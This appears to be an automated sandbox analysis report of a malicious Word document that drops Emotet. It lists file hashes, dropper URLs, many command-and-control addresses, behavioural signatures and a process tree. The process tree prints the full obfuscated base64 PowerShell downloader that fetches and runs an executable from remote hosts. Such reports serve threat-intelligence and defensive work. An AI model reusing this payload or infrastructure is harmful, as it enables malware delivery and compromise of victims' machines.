Analysis
- max time kernel
136s - max time network
137s - platform
windows10_x64 - resource
win10 - submitted
03/09/2020, 21:34
Static task
static1
Behavioral task
behavioral1
Sample
FILE_PO_09042020EX.doc
Resource
win7v200722
General
- Target FILE_PO_09042020EX.doc
- Size 191KB
- Sample200903-9j8x74kbc2
- SHA256 5542f3a196fa82e55824fadfba8827ac16d483a5a8cfb23089fbbfad77e6dda2
- MD5 98ac568d548e8a7d4679be683a849b8c
- SHA1 5b0dc81fbcf5f6f73eaae03103b247dfe22e9435
- SHA512 473334498e483fcd95403b66b55d73be9bc594bbbd803ecb0881ed3a946012fe1de8a9cc3ee67059953c46ddb84cfb6e8e869ab7cfbac497d8daa34e32be8439
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
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exe.dropper
http://homokfuvo.com/files/QSNUeuP/
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exe.dropper
http://gforcems.it/modules/B/
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exe.dropper
http://planodesaudetotal.com/erros/wUI/
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exe.dropper
http://rvad.com/img/K0YvsA/
-
exe.dropper
http://vendasdesaude.com/erros/zyHmix/
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exe.dropper
https://scenic-heap.de/_private/ZZHi/
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exe.dropper
https://elektro-grell.de/cgi-bin/o8Xj1y/
Extracted
-
emotet
-
192.158.216.73:80
-
85.214.28.226:8080
-
142.44.137.67:443
-
162.241.242.173:8080
-
85.152.162.105:80
-
62.30.7.67:443
-
78.24.219.147:8080
-
74.120.55.163:80
-
169.239.182.217:8080
-
216.208.76.186:80
-
95.213.236.64:8080
-
200.114.213.233:8080
-
104.131.44.150:8080
-
70.121.172.89:80
-
75.139.38.211:80
-
185.94.252.104:443
-
97.82.79.83:80
-
103.86.49.11:8080
-
79.98.24.39:8080
-
83.169.36.251:8080
-
188.219.31.12:80
-
74.208.45.104:8080
-
137.59.187.107:8080
-
174.45.13.118:80
-
194.187.133.160:443
-
50.81.3.113:80
-
201.173.217.124:443
-
139.99.158.11:443
-
68.188.112.97:80
-
113.160.130.116:8443
-
173.62.217.22:443
-
139.130.242.43:80
-
190.160.53.126:80
-
137.119.36.33:80
-
209.141.54.221:8080
-
24.179.13.119:80
-
120.150.60.189:80
-
107.5.122.110:80
-
121.124.124.40:7080
-
203.153.216.189:7080
-
157.245.99.39:8080
-
85.105.205.77:8080
-
173.81.218.65:80
-
110.145.77.103:80
-
47.144.21.12:443
-
95.179.229.244:8080
-
187.161.206.24:80
-
46.105.131.79:8080
-
189.212.199.126:443
-
168.235.67.138:7080
-
24.137.76.62:80
-
85.66.181.138:80
-
200.41.121.90:80
-
5.39.91.110:7080
-
104.236.246.93:8080
-
172.91.208.86:80
-
99.224.14.125:80
-
37.139.21.175:8080
-
109.74.5.95:8080
-
1.221.254.82:80
-
61.19.246.238:443
-
5.196.74.210:8080
-
67.205.85.243:8080
-
79.137.83.50:443
-
94.200.114.161:80
-
70.180.43.7:80
-
190.55.181.54:443
-
47.146.117.214:80
-
89.205.113.80:80
-
37.187.72.193:8080
-
84.39.182.7:80
-
104.131.11.150:443
-
139.162.108.71:8080
-
87.106.136.232:8080
-
153.232.188.106:80
-
37.70.8.161:80
-
112.185.64.233:80
-
87.106.139.101:8080
-
94.23.237.171:443
-
24.43.99.75:80
-
203.117.253.142:80
-
98.109.204.230:80
-
93.147.212.206:80
-
91.211.88.52:7080
-
139.59.60.244:8080
-
176.111.60.55:8080
-
180.92.239.110:8080
-
62.75.141.82:80
-
174.102.48.180:443
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1556 552 powershell.exe 73 - Blacklisted process makes network request 1 IoCs
flow pid Process 14 1556 powershell.exe - Executes dropped EXE 2 IoCs
pid Process 3636 Uwxxu273.exe 3712 deskmon.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\rdvgocl32\deskmon.exe Uwxxu273.exe - Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\ServiceProfiles\LocalService\winhttp\cachev3.dat svchost.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Modifies data under HKEY_USERS 5 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad svchost.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7 svchost.exe Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionReason = "1" svchost.exe Set value (data) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionTime = 33d444753982d601 svchost.exe Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecision = "0" svchost.exe - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 2532 WINWORD.EXE 2532 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 1556 powershell.exe 1556 powershell.exe 1556 powershell.exe 3712 deskmon.exe 3712 deskmon.exe 3712 deskmon.exe 3712 deskmon.exe - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeShutdownPrivilege 2228 svchost.exe Token: SeCreatePagefilePrivilege 2228 svchost.exe Token: SeDebugPrivilege 1556 powershell.exe - Suspicious use of SetWindowsHookEx 11 IoCs
pid Process 2532 WINWORD.EXE 2532 WINWORD.EXE 2532 WINWORD.EXE 2532 WINWORD.EXE 2532 WINWORD.EXE 2532 WINWORD.EXE 2532 WINWORD.EXE 2532 WINWORD.EXE 2532 WINWORD.EXE 2532 WINWORD.EXE 2532 WINWORD.EXE - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 1556 wrote to memory of 3636 1556 powershell.exe 79 PID 1556 wrote to memory of 3636 1556 powershell.exe 79 PID 1556 wrote to memory of 3636 1556 powershell.exe 79 PID 3636 wrote to memory of 3712 3636 Uwxxu273.exe 81 PID 3636 wrote to memory of 3712 3636 Uwxxu273.exe 81 PID 3636 wrote to memory of 3712 3636 Uwxxu273.exe 81
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\FILE_PO_09042020EX.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2532
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2228
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e JABQAGwANgA0AHQAMABqAD0AKAAoACcAVgBlAHAAJwArACcAXwAnACkAKwAoACcAMABiACcAKwAnAHAAJwApACkAOwAmACgAJwBuAGUAJwArACcAdwAtAGkAdAAnACsAJwBlAG0AJwApACAAJABlAG4AdgA6AFUAcwBFAHIAcABSAG8AZgBpAGwAZQBcAHQAYQB5AFoAMwBsADYAXABvAG0AZgA0AEMAVgBZAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQASQBSAGUAQwB0AE8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwB1AHIAaQBgAFQAWQBwAHIAYABPAGAAVABPAGMAbwBMACIAIAA9ACAAKAAoACcAdAAnACsAJwBsAHMAMQAyACcAKQArACcALAAnACsAJwAgAHQAJwArACcAbAAnACsAJwBzADEAJwArACgAJwAxACwAIAB0ACcAKwAnAGwAcwAnACkAKQA7ACQAWQBxAHUAcgBkADUAcgAgAD0AIAAoACgAJwBVACcAKwAnAHcAeAAnACkAKwAoACcAeAAnACsAJwB1ADIANwAzACcAKQApADsAJABKADUAeQBlAHUAaABuAD0AKAAoACcAUAA3ACcAKwAnADMAJwApACsAKAAnAF8AJwArACcAegA5ADQAJwApACkAOwAkAEMAdQAyAG8AYQBrAG0APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAwAH0AJwArACgAJwBUAGEAJwArACcAeQB6ADMAJwApACsAJwBsACcAKwAnADYAJwArACcAewAwAH0AJwArACgAJwBPACcAKwAnAG0AZgA0AGMAdgAnACsAJwB5ACcAKQArACcAewAwAH0AJwApACAAIAAtAEYAIAAgAFsAQwBIAEEAUgBdADkAMgApACsAJABZAHEAdQByAGQANQByACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABEADcAeQA3ADYAcQB0AD0AKAAoACcATgAnACsAJwBhAHEAMABhACcAKQArACcAcAAnACsAJwA2ACcAKQA7ACQARQBiAF8AOQBtAGsAbgA9AC4AKAAnAG4AZQB3AC0AbwAnACsAJwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBlAHQALgB3AGUAQgBDAEwAaQBFAG4AVAA7ACQAVQBmAG8AbgBwAHMAdAA9ACgAKAAnAGgAJwArACcAdAB0AHAAOgAnACsAJwAvAC8AJwApACsAKAAnAGgAbwAnACsAJwBtACcAKQArACgAJwBvAGsAZgB1ACcAKwAnAHYAJwArACcAbwAuACcAKQArACgAJwBjACcAKwAnAG8AbQAvACcAKwAnAGYAaQAnACkAKwAoACcAbABlACcAKwAnAHMALwBRAFMAJwArACcATgBVAGUAJwApACsAKAAnAHUAUAAvACcAKwAnACoAJwArACcAaAB0AHQAcAAnACkAKwAoACcAOgAnACsAJwAvAC8AJwApACsAJwBnAGYAJwArACcAbwByACcAKwAoACcAYwAnACsAJwBlAG0AcwAuACcAKwAnAGkAJwApACsAKAAnAHQALwBtACcAKwAnAG8AJwApACsAJwBkACcAKwAoACcAdQBsACcAKwAnAGUAcwAvAEIAJwApACsAKAAnAC8AKgBoAHQAJwArACcAdABwACcAKwAnADoALwAvACcAKwAnAHAAbABhAG4AbwAnACsAJwBkACcAKwAnAGUAcwAnACkAKwAoACcAYQB1ACcAKwAnAGQAJwArACcAZQB0AG8AdABhAGwALgBjAG8AJwArACcAbQAvACcAKwAnAGUAcgByACcAKQArACgAJwBvACcAKwAnAHMALwAnACkAKwAoACcAdwBVAEkAJwArACcALwAqACcAKQArACcAaAB0ACcAKwAnAHQAcAAnACsAJwA6AC8AJwArACcALwAnACsAKAAnAHIAdgAnACsAJwBhAGQALgAnACkAKwAnAGMAJwArACcAbwAnACsAJwBtACcAKwAoACcALwBpACcAKwAnAG0AZwAnACsAJwAvAEsAJwArACcAMABZAHYAcwBBACcAKwAnAC8AKgBoAHQAJwApACsAKAAnAHQAcAA6AC8ALwB2AGUAJwArACcAbgBkAGEAJwArACcAcwBkACcAKQArACcAZQBzACcAKwAnAGEAJwArACgAJwB1AGQAZQAnACsAJwAuAGMAbwAnACkAKwAoACcAbQAvACcAKwAnAGUAcgByAG8AJwArACcAcwAvACcAKQArACcAegB5ACcAKwAnAEgAJwArACgAJwBtAGkAeAAvACcAKwAnACoAaAB0AHQAJwArACcAcAAnACsAJwBzADoALwAvACcAKwAnAHMAYwBlAG4AJwApACsAKAAnAGkAJwArACcAYwAnACsAJwAtAGgAZQBhAHAAJwApACsAKAAnAC4AJwArACcAZABlACcAKQArACcALwAnACsAKAAnAF8AJwArACcAcAByAGkAdgBhAHQAZQAnACsAJwAvACcAKwAnAFoAJwApACsAJwBaAEgAJwArACgAJwBpAC8AKgBoAHQAdABwACcAKwAnAHMAOgAnACkAKwAnAC8ALwAnACsAKAAnAGUAbAAnACsAJwBlAGsAdAAnACsAJwByAG8ALQAnACkAKwAoACcAZwByACcAKwAnAGUAbABsACcAKQArACgAJwAuACcAKwAnAGQAZQAvAGMAZwBpACcAKwAnAC0AYgAnACkAKwAoACcAaQAnACsAJwBuACcAKwAnAC8AbwA4AFgAJwApACsAKAAnAGoAJwArACcAMQB5AC8AJwApACkALgAiAHMAYABwAEwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQgBjAGcAZQB3AG8AawA9ACgAJwBCAGgAJwArACgAJwBuAGcAJwArACcAeQB4ACcAKQArACcAZAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABMAGoAYwBvAHkAaQBxACAAaQBuACAAJABVAGYAbwBuAHAAcwB0ACkAewB0AHIAeQB7ACQARQBiAF8AOQBtAGsAbgAuACIAZABvAHcAbgBgAGwATwBhAGAAZABgAEYAaQBMAEUAIgAoACQATABqAGMAbwB5AGkAcQAsACAAJABDAHUAMgBvAGEAawBtACkAOwAkAFcAOABwADYAaQA3ADYAPQAoACgAJwBIADIAJwArACcAdwAnACkAKwAoACcAdAAyACcAKwAnAHAAMgAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABDAHUAMgBvAGEAawBtACkALgAiAGwAZQBgAE4ARwBUAEgAIgAgAC0AZwBlACAAMgAzADQAMwAwACkAIAB7ACYAKAAnAEkAbgB2AG8AJwArACcAawAnACsAJwBlAC0ASQAnACsAJwB0AGUAbQAnACkAKAAkAEMAdQAyAG8AYQBrAG0AKQA7ACQASQA4AHcAMwB5AGYAMgA9ACgAKAAnAFMANQB4AGMAJwArACcAbQAnACkAKwAnAGsAOAAnACkAOwBiAHIAZQBhAGsAOwAkAFUAZABlAF8AXwBpAGcAPQAoACgAJwBHACcAKwAnADUANgA0ACcAKQArACgAJwAyACcAKwAnAGgAeQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARgBnAG0AMQByADgAZwA9ACgAJwBSACcAKwAoACcAawB0AGMAJwArACcAaAA1ADAAJwApACkA1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1556 -
C:\Users\Admin\Tayz3l6\Omf4cvy\Uwxxu273.exe"C:\Users\Admin\Tayz3l6\Omf4cvy\Uwxxu273.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3636 -
C:\Windows\SysWOW64\rdvgocl32\deskmon.exe"C:\Windows\SysWOW64\rdvgocl32\deskmon.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3712
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-